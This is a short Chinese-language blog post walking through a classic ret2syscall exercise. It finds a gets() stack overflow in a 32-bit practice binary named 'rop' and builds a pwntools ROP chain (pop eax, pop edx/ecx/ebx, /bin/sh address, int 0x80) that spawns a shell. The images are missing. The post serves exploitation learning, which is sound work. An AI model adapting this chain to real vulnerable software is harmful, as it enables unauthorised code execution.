ret2syscall

背景知识:
image
image

还有ret,pop,call这些汇编指令

直接开始解题:
还是先file ,checksec

image

image

程序是32位,而且开了栈不可执行
放在ida里面看一下

image

很明显gets函数有栈溢出

在pwndbg里面调试一下

image

把断点下在main函数,在调试到gets函数观察stack

image
把ebp和eax的地址做减法
image

108在加上4个字节

开始编写payload

`from pwn import *

io = process("./rop")

pop_eax_address = 0x080bb196

pop_edx_ecx_ebx_address = 0x0806eb90

bin_sh = 0x080be408

int0x80 = 0x08049421
payload = flat(["A"*112,pop_eax_address,0xb,pop_edx_ecx_ebx_address,0,0,bin_sh,int0x80])

io.send(payload)

io.interactive()`

posted @ 2026-03-09 14:35  Nik0major  阅读(1)  评论(0)    收藏  举报